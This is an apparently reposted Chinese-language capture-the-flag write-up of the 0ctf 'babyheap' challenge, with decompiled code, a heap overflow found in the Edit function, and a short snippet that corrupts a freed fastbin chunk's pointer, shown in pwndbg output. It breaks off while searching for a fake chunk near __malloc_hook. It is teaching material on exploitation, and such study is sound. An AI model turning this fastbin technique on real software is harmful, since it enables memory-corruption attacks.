0ctf babyheap

发布者:极安御信
发布于:2023-09-07 17:24

文件信息

pwndbg> checksec
[*] '/mnt/hgfs/CTF/nightmare-master/modules/28-fastbin_attack/0ctf_babyheap/0ctfbabyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开

pwndbg> r
Starting program: /mnt/hgfs/CTF/nightmare-master/modules/28-fastbin_attack/0ctf_babyheap/0ctfbabyheap 
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 

是菜单程序:1申请,2编辑,3释放,4读取

逆向分析

主程序:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = sub_55E213200B70(a1, a2, a3);
  while ( 1 )
  {
    menu();
    switch ( getNum() )
    {
      case 1LL:
        Add(v4);
        break;
      case 2LL:
        Edit(v4);
        break;
      case 3LL:
        Free(v4);
        break;
      case 4LL:
        Show(v4);
        break;
      case 5LL:
        return 0LL;
      default:
        continue;
    }
  }
}

Add函数:

void __fastcall Add(__int64 a1)
{
  int i; // [rsp+10h] [rbp-10h]
  int size; // [rsp+14h] [rbp-Ch]
  void *memPtr; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      size = getNum();
      if ( size > 0 )
      {
        if ( size > 4096 )
          size = 4096;
        memPtr = calloc(size, 1uLL);            // calloc will clear mem
        if ( !memPtr )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1;         // this is a struct
        *(_QWORD *)(a1 + 24LL * i + 8) = size;
        *(_QWORD *)(a1 + 24LL * i + 16) = memPtr;
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}

这里貌似用了一个结构来保存申请的信息,创建一下:

00000000 MemInfo         struc ; (sizeof=0x18, mappedto_18)
00000000 isEnable        dq ?
00000008 size            dq ?
00000010 memPtr          dq ?
00000018 MemInfo         ends

Edit函数:

__int64 __fastcall Edit(MemInfo *a1)
{
  __int64 buf; // rax
  int index_; // [rsp+18h] [rbp-8h]
  int size; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  buf = getNum();
  index_ = buf;
  if ( (unsigned int)buf <= 0xF )               // max chunk count = 16
  {
    buf = LODWORD(a1[(int)buf].isEnable);       // get index
    if ( (_DWORD)buf == 1 )                     // 1 represent enable
    {
      printf("Size: ");
      buf = getNum();
      size = buf;
      if ( (int)buf > 0 )
      {
        printf("Content: ");
        return call_Read2(a1[index_].memPtr, size);
      }
    }
  }
  return buf;
}

找到对应的chunk,然后向其中读取内容

Free函数:

__int64 __fastcall Free(MemInfo *a1)
{
  __int64 result; // rax
  int index; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = getNum();
  index = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = LODWORD(a1[(int)result].isEnable);
    if ( (_DWORD)result == 1 )
    {
      LODWORD(a1[index].isEnable) = 0;          // set 0
      a1[index].size = 0LL;                     // set size = 0
      free((void *)a1[index].memPtr);           // free mem
      result = (__int64)&a1[index];             // clear value
      *(_QWORD *)(result + 16) = 0LL;
    }
  }
  return result;
}

Show函数:

unsigned int __fastcall Show(MemInfo *a1)
{
  unsigned int result; // eax
  unsigned int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = getNum();
  v2 = result;
  if ( result <= 0xF )
  {
    result = a1[result].isEnable;
    if ( result == 1 )
    {
      puts("Content: ");
      call_Write(a1[v2].memPtr, a1[v2].size);
      return puts(byte_55E2132014F1);
    }
  }
  return result;
}

利用

可用性通过数组成员的值和其标志位来确认,不存在UAF

Edit函数编辑的时候检查的大小来自用户输入,存在溢出问题

这里虽然有数组来保存申请的地址信息,但是PIE的存在,让unlink技术难度很高

这里有一个思路就是,通过溢出,去修改fastbin chunk的指针,测试一下:


chunk1 = add(24)
chunk2 = add(24)
chunk3 = add(24)

free(chunk3)
free(chunk2)

edit(chunk1,24+0x10,b'a'*24 + pack(0x21) + pack(0xdeadbeef))

效果:可行

pwndbg> vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.


0x563e52224000 0x0000000000000000 0x0000000000000021 ........!.......
0x563e52224010 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
0x563e52224020 0x6161616161616161 0x0000000000000021 aaaaaaaa!....... <-- fastbins[0x20][0]
0x563e52224030 0x00000000deadbeef 0x0000000000000000 ................
0x563e52224040 0x0000000000000000 0x0000000000000021 ........!.......
0x563e52224050 0x0000000000000000 0x0000000000000000 ................
0x563e52224060 0x0000000000000000 0x0000000000020fa1 ................ <-- Top chunk

可以通过这种方式去修改fastbin的指针,然后去寻找可用的fake chunk申请内存:

pwndbg> find_fake_fast &__malloc_hook
global_max_fast symbol not found, using the default value: 0x80
Use `set global-max-fast



声明:该文观点仅代表作者本人,转载请注明来自看雪